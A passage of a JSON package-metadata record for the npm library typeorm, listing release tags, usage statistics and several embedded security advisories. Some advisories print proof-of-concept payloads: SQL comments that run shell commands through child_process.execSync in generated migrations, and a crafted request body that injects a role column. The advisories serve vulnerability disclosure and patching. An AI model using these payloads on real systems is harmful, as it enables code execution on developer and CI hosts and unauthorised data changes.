Ftypeorm/tags/0.0.10/manifests"},{"name":"0.0.9","sha":"ee83f509a0425f0f26a855824a7230535f2ef243","kind":"tag","published_at":"2017-02-23T11:43:57.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.9","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.9/manifests"},{"name":"0.0.8","sha":"385f4ce5957f722842f32d135292ab507848429e","kind":"tag","published_at":"2017-01-27T12:32:25.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.8","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.8/manifests"},{"name":"0.0.7","sha":"96d561691d5efc95adc605c66b2b24d3a7c01f09","kind":"tag","published_at":"2017-01-27T12:31:16.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.7","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.7/manifests"},{"name":"0.0.6","sha":"20d690396e57f0717fef63fb6c7bfb55746dd8db","kind":"tag","published_at":"2017-01-27T11:47:51.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.6","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.6/manifests"},{"name":"0.0.5","sha":"4e7e50b06106f9b96792ace6c1c69f8e06a2c27c","kind":"commit","published_at":"2016-12-12T14:07:13.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.5","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.5/manifests"},{"name":"0.0.4","sha":"a11eea57fe402fc7d6e40dd31844c12138997be2","kind":"commit","published_at":"2016-12-07T12:44:19.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.4","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.4/manifests"},{"name":"0.0.3","sha":"2bebb8550fcb70a4490a16aeceff5a2694407cb6","kind":"commit","published_at":"2016-12-06T09:11:58.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.3","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.3/manifests"},{"name":"0.0.2","sha":"8600d7b336a664804cfaa3dd22d6bcd0a76f8cb3","kind":"commit","published_at":"2016-12-06T08:39:29.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.0.2","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-17T19:53:53.396Z","dependent_packages_count":3660,"downloads":18952387,"downloads_period":"last-month","dependent_repos_count":51340,"rankings":{"downloads":0.11703835860838536,"dependent_repos_count":0.14187332738626227,"dependent_packages_count":0.026833184656556645,"stargazers_count":0.5250454950936664,"forks_count":0.45690633363068683,"docker_downloads_count":0.1591150758251561,"average":0.2378019625334523},"purl":"pkg:npm/typeorm","advisories":[{"uuid":"GSA_kwCzR0hTQS0ycnA4LW1tOXEtZnA0Oc4ABfLi","url":"https://github.com/advisories/GHSA-2rp8-mm9q-fp49","title":" TypeORM: migration:generate template-literal code injection","description":"### Summary\n\n`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.\n\n### Details\n\n`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:\n\n```typescript\n\"        await queryRunner.query(`\" +\n    upQuery.query.replaceAll(\"`\", \"\\\\`\") +\n    \"`\" + ...\n```\n\nIntrospected schema strings reach this sink through driver query runners:\n\n| Driver | Metadata source | Source |\n|---|---|---|\n| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | [`PostgresQueryRunner.ts:1782`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1782), [`L1898`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1898), [`L2287`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L2287), [`L4125`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L4125) |\n| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | [`MysqlQueryRunner.ts:2873-2974`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L2873-L2974), [`L3580-3583`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L3580-L3583) |\n| CockroachDB | Same patterns as Postgres | [`CockroachQueryRunner.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachQueryRunner.ts) |\n\n`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:\n\n```typescript\nprotected escapeComment(comment?: string) {\n    if (!comment) return comment\n    comment = comment.replaceAll(\"\\u0000\", \"\")\n    return comment\n}\n```\n\nWhen the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.\n\n**Affected source:**\n\n| File | Lines | Role |\n|---|---|---|\n| [`MigrationGenerateCommand.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/commands/MigrationGenerateCommand.ts#L117-L138) | 117-138 | Template-literal construction (sink) |\n| [`PostgresDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresDriver.ts#L1886-L1891) | 1886-1891 | `escapeComment()` — Postgres |\n| [`MysqlDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlDriver.ts#L1322-L1328) | 1322-1328 | `escapeComment()` — MySQL |\n| [`CockroachDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachDriver.ts#L1236-L1241) | 1236-1241 | `escapeComment()` — CockroachDB |\n\n**Confirmed injection vectors (MySQL):**\n\n| Vector | Result | Notes |\n|---|---|---|\n| Column `COMMENT` | Confirmed | Proven in PoC below |\n| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT '${...}'`; payload appears in generated migration |\n| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |\n| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |\n\n**Suggested fix:** Escape `${` to `\\${` (and `\\\\` to `\\\\\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.\n\n### PoC\n\n**Prerequisites:**\n- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`\n- The attacker has DDL/write access to the database, **or** the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text\n\n**Steps:**\n\n1. **Inject payload into schema metadata.** Set a column comment or default containing `${...}`:\n\n```sql\n-- PostgreSQL\nCOMMENT ON COLUMN users.name IS '${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}';\n\n-- MySQL\nALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}';\n```\n\n2. **Run migration generation** on the developer/CI machine:\n\n```bash\nnpx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration\n```\n\n3. **Inspect the generated file.** The output `.ts` file contains unescaped `${...}`:\n\n```typescript\nexport class NextMigration1234567890 implements MigrationInterface {\n  public async up(queryRunner: QueryRunner): Promise\u003cvoid\u003e {\n    await queryRunner.query(\n      `COMMENT ON COLUMN \"users\".\"name\" IS '${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}'`,\n    );\n  }\n  // ...\n}\n```\n\n4. **Run or revert the migration:**\n\n```bash\nnpx typeorm migration:revert -d ./data-source.ts\n```\n\nOutput confirms code execution — `id` ran on the host and its output was interpolated into the SQL:\n\n```\nALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'\n```\n\nThe payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.\n\n### Impact\n\n**Code injection / RCE.** An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.\n\nCI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-21T21:59:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49","https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519","https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe","https://github.com/typeorm/typeorm/releases/tag/0.3.31","https://github.com/typeorm/typeorm/releases/tag/1.1.0","https://github.com/advisories/GHSA-2rp8-mm9q-fp49"],"source_kind":"github","identifiers":["GHSA-2rp8-mm9q-fp49","CVE-2026-73651"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T22:00:08.858Z","updated_at":"2026-08-17T16:01:01.581Z","epss_percentage":0.00233,"epss_percentile":0.14249,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycnA4LW1tOXEtZnA0Oc4ABfLi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycnA4LW1tOXEtZnA0Oc4ABfLi","packages":[{"ecosystem":"npm","package_name":"typeorm","versions":[{"first_patched_version":"1.1.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.1.0"},{"first_patched_version":"0.3.31","vulnerable_version_range":"\u003c 0.3.31"}],"purl":"pkg:npm/typeorm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycnA4LW1tOXEtZnA0Oc4ABfLi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Z2d2LTh3Mzgtcjdwbc4ABZLO","url":"https://github.com/advisories/GHSA-9ggv-8w38-r7pm","title":"TypeORM: SQL Injection in UpdateQueryBuilder/SoftDeleteQueryBuilder orderBy (MySQL/MariaDB)","description":"### Impact\n\nBlind SQL injection vulnerability in `UpdateQueryBuilder` and `SoftDeleteQueryBuilder` affecting MySQL and MariaDB users.\n\n`UpdateQueryBuilder` and `SoftDeleteQueryBuilder` (including their `addOrderBy` variants) do not validate the `order` parameter against an allowlist of permitted values (`ASC`/`DESC`). The caller-supplied value is stored verbatim and concatenated directly into the generated SQL string without quoting or parameterization. `SelectQueryBuilder.orderBy` performs this validation correctly; the affected builders do not.\n\nIf any code path passes user-controlled input to `orderBy`/`addOrderBy` on an update or soft-delete query, an attacker can inject arbitrary SQL via the sort direction — even when the column name itself is hardcoded.\n\nDemonstrated impact includes:\n- **Data exfiltration** via time-based blind extraction (e.g. using `SLEEP()` to infer secret values bit by bit)\n- **Row targeting manipulation** in queries using `LIMIT` patterns\n- **Denial of service** via `SLEEP()`-based query exhaustion\n\nCVSS 3.1: **8.6 (High)** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L`\n\nAffected files (relative to commit `73fda419`):\n- `src/query-builder/UpdateQueryBuilder.ts`: lines 383–419 and 718–744\n- `src/query-builder/SoftDeleteQueryBuilder.ts`: lines 352–388 and 520–546\n\nThe vulnerability was introduced in commit `03799bd2` (v0.1.12) and is present through the latest release (v0.3.28).\n\n### Patches\n\nA fix has been released in 0.3.29 (1b66c44) and 1.0.0 (93eec63).\n\n### Workarounds\n\nApplications can manually validate the `order` argument before passing it to `orderBy` or `addOrderBy` on update or soft-delete query builders:\n\n```ts\nconst direction = userInput.toUpperCase();\nif (direction !== 'ASC' \u0026\u0026 direction !== 'DESC') {\n  throw new Error('Invalid sort direction');\n}\nqb.orderBy(column, direction as 'ASC' | 'DESC');\n```\n\nDo not pass user-controlled values to `orderBy`/`addOrderBy` on `UpdateQueryBuilder` or `SoftDeleteQueryBuilder` without this validation.\n\n### References\n\n- Introduced in commit 03799bd2 (v0.1.12)\n- Confirmed present in v0.3.28 (commit 73fda419)\n- See `SelectQueryBuilder.orderBy` for the correct validation pattern this fix should mirror","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-19T19:18:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/typeorm/typeorm/security/advisories/GHSA-9ggv-8w38-r7pm","https://github.com/typeorm/typeorm/commit/1b66c44d0410bdc56a0dcefb46be41867ec0fffc","https://github.com/typeorm/typeorm/commit/93eec630630b219b162ba4e0c072afa851697cff","https://github.com/advisories/GHSA-9ggv-8w38-r7pm"],"source_kind":"github","identifiers":["GHSA-9ggv-8w38-r7pm"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T20:00:08.101Z","updated_at":"2026-08-17T16:02:11.240Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z2d2LTh3Mzgtcjdwbc4ABZLO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Z2d2LTh3Mzgtcjdwbc4ABZLO","packages":[{"ecosystem":"npm","package_name":"typeorm","versions":[{"first_patched_version":"0.3.29","vulnerable_version_range":"\u003e= 0.1.12, \u003c= 0.3.28"}],"purl":"pkg:npm/typeorm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z2d2LTh3Mzgtcjdwbc4ABZLO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xMnBqLTZ2NzMtOHJnas4ABN-a","url":"https://github.com/advisories/GHSA-q2pj-6v73-8rgj","title":"TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update","description":"### Summary\n\nSQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.\n\n### Details\n\nVulnerable Code:\n\n```js\nconst { username, city, name} = req.body;\nconst updateData = {\n    username,\n    city,\n    name,\n    id:userId\n  }; // Developer aims to only allow above three fields to be updated    \nconst result = await userRepo.save(updateData);\n```\n\nIntended Payload (non-malicious):\n\n\n`\nusername=myusername\u0026city=Riga\u0026name=Javad\n`\n\n_OR_\n\n`{username:\\\"myusername\\\",phone:12345,name:\\\"Javad\\\"}\n`\n\nSQL query produced:\n\n```sql\nUPDATE `user` \nSET `username` = 'myusername', \n    `city` = 'Riga', \n    `name` = 'Javad' \nWHERE `id` IN (1);\n\n```\n\nMalicious Payload:\n\n`username=myusername\u0026city[name]=Riga\u0026city[role]=admin\n`\n\n_OR_\n\n`{username:\\\"myusername\\\",city:{name:\\\"Javad\\\",role:\\\"admin\\\"}}\n`\n\nSQL query produced with Injected Column:\n\n```sql\nUPDATE `user` \nSET `username` = 'myusername', \n    `city` = `name` = 'Javad', \n    `role` = 'admin' \nWHERE `id` IN (1);\n\n```\n_Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._\n\nUnderlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124). This option is then passed into [SQLString library as false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524). This results in sqlstring [parsing objects in a strange way using objectToValues.](https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T18:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:H/SA:L/E:P","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-60542","https://github.com/typeorm/typeorm/pull/11574","https://github.com/typeorm/typeorm/releases/tag/0.3.26","https://github.com/typeorm/typeorm/releases?q=security\u0026expanded=true","https://medium.com/@alizada.cavad/cve-2025-60542-typeorm-mysql-sqli-0-3-25-a1b32bc60453","https://github.com/typeorm/typeorm/commit/d57fe3bd8578b0b8f9847647fd046bccf825a7ef","https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54","https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524","https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124","https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts","https://github.com/advisories/GHSA-q2pj-6v73-8rgj"],"source_kind":"github","identifiers":["GHSA-q2pj-6v73-8rgj","CVE-2025-60542"],"repository_url":"https://github.com/typeorm/typeorm","blast_radius":41.923057192585276,"created_at":"2025-10-31T18:00:31.442Z","updated_at":"2026-08-17T16:07:52.279Z","epss_percentage":0.00247,"epss_percentile":0.16081,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMnBqLTZ2NzMtOHJnas4ABN-a","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xMnBqLTZ2NzMtOHJnas4ABN-a","packages":[{"ecosystem":"npm","package_name":"typeorm","versions":[{"first_patched_version":"0.3.26","vulnerable_version_range":"\u003c 0.3.26"}],"purl":"pkg:npm/typeorm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMnBqLTZ2NzMtOHJnas4ABN-a/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1meDR3LXY0M2otdmM0Nc4AAtGB","url":"https://github.com/advisories/GHSA-fx4w-v43j-vc45","title":"SQL injection in typeORM","description":"The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection. NOTE: the vendor's position is that the user's application is responsible for input validation.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-07-05T00:00:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-33171","https://github.com/typeorm/typeorm/compare/0.2.45...0.3.0","https://seclists.org/fulldisclosure/2022/Jun/51","http://packetstormsecurity.com/files/168096/TypeORM-0.3.7-Information-Disclosure.html","http://seclists.org/fulldisclosure/2022/Aug/7","https://github.com/advisories/GHSA-fx4w-v43j-vc45"],"source_kind":"github","identifiers":["GHSA-fx4w-v43j-vc45","CVE-2022-33171"],"repository_url":"https://github.com/typeorm/typeorm","blast_radius":0.0,"created_at":"2024-03-21T20:04:41.021Z","updated_at":"2026-08-17T16:14:43.874Z","epss_percentage":0.20299,"epss_percentile":0.97149,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1meDR3LXY0M2otdmM0Nc4AAtGB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1meDR3LXY0M2otdmM0Nc4AAtGB","packages":[{"ecosystem":"npm","package_name":"typeorm","versions":[{"first_patched_version":"0.3.0","vulnerable_version_range":"\u003c 0.3.0"}],"purl":"pkg:npm/typeorm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1meDR3LXY0M2otdmM0Nc4AAtGB/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBmMmotOXFtcC1qcXIy","url":"https://github.com/advisories/GHSA-pf2j-9qmp-jqr2","title":"TypeORM vulnerable to MAID and Prototype Pollution","description":"Prototype pollution vulnerability in the TypeORM package \u003c 0.2.25 may allow attackers to add or modify Object properties leading to further denial of service or SQL injection attacks.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-05-07T16:46:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-8158","https://hackerone.com/reports/869574","https://github.com/advisories/GHSA-pf2j-9qmp-jqr2"],"source_kind":"github","identifiers":["GHSA-pf2j-9qmp-jqr2","CVE-2020-8158"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:05.914Z","updated_at":"2026-08-18T05:12:24.748Z","epss_percentage":0.0212,"epss_percentile":0.79525,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBmMmotOXFtcC1qcXIy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBmMmotOXFtcC1qcXIy","packages":[{"ecosystem":"npm","package_name":"typeorm","versions":[{"first_patched_version":"0.2.25","vulnerable_version_range":"\u003c 0.2.25"}],"purl":"pkg:npm/typeorm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBmMmotOXFtcC1qcXIy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc3cTctdmpwOC03anY0","url":"https://github.com/advisories/GHSA-w7q7-vjp8-7jv4","title":"SQL Injection in typeorm","description":"Versions of `typeorm` before 0.1.15 are vulnerable to SQL Injection. Field names are not properly validated allowing attackers to inject SQL statements and execute arbitrary SQL queries.\n\n\n## Recommendation\n\nUpgrade to version 0.1.15","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2019-06-06T15:30:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/typeorm/typeorm/commit/d46c8b0e6c0db56bb5976a4917e9f67a43715111","https://hackerone.com/reports/319458","https://www.npmjs.com/advisories/800","https://github.com/advisories/GHSA-w7q7-vjp8-7jv4"],"source_kind":"github","identifiers":["GHSA-w7q7-vjp8-7jv4"],"repository_url":"https://github.com/typeorm/typeorm","blast_radius":0.0,"created_at":"2022-12-21T16:13:29.631Z","updated_at":"2026-08-18T05:12:57.628Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc3cTctdmpwOC03anY0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc3cTctdmpwOC03anY0","packages":[{"ecosystem":"npm","package_name":"typeorm","versions":[{"first_patched_version":"0.1.15","vulnerable_version_range":"\u003c 0.1.15"}],"purl":"pkg:npm/typeorm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc3cTctdmpwOC03anY0/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/typeorm","docker_dependents_count":1955,"docker_downloads_count":136485815,"usage_url":"https://repos.ecosyste.ms/usage/npm/typeorm","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/typeorm/dependencies","status":null,"funding_links":["https://opencollective.com/typeorm"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-16T17:23:10.066Z","issues_count":2404,"pull_requests_count":1324,"avg_time_to_close_issue":77744683.78824362,"avg_time_to_close_pull_request":6188483.573426574,"issues_closed_count":1412,"pull_requests_closed_count":858,"pull_request_authors_count":548,"issue_authors_count":2017,"avg_comments_per_issue":5.495840266222961,"avg_comments_per_pull_request":2.645770392749245,"merged_pull_requests_count":545,"bot_issues_count":1,"bot_pull_requests_count":35,"past_year_issues_count":98,"past_year_pull_requests_count":275,"past_year_avg_time_to_close_issue":1991058.4285714286,"past_year_avg_time_to_close_pull_request":643521.3070175438,"past_year_issues_closed_count":21,"past_year_pull_requests_closed_count":114,"past_year_pull_request_authors_count":146,"past_year_issue_authors_count":75,"past_year_avg_comments_per_issue":1.1428571428571428,"past_year_avg_comments_per_pull_request":4.28,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":17,"past_year_merged_pull_requests_count":51,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/issues","maintainers":[{"login":"alumni","count":76,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alumni"},{"login":"naorpeled","count":61,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/naorpeled"},{"login":"OSA413","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/OSA413"},{"login":"mguida22","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mguida22"},{"login":"michaelbromley","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/michaelbromley"},{"login":"gioboa","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gioboa"},{"login":"pkuczynski","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pkuczynski"},{"login":"jovanadjuric","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jovanadjuric"},{"login":"sgarner","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sgarner"},{"login":"pleerock","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pleerock"},{"login":"stim371","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stim371"},{"login":"smith-xyz","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smith-xyz"},{"login":"Cprakhar","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cprakhar"},{"login":"AlexMesser","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AlexMesser"},{"login":"albasyir","count":5,"url":"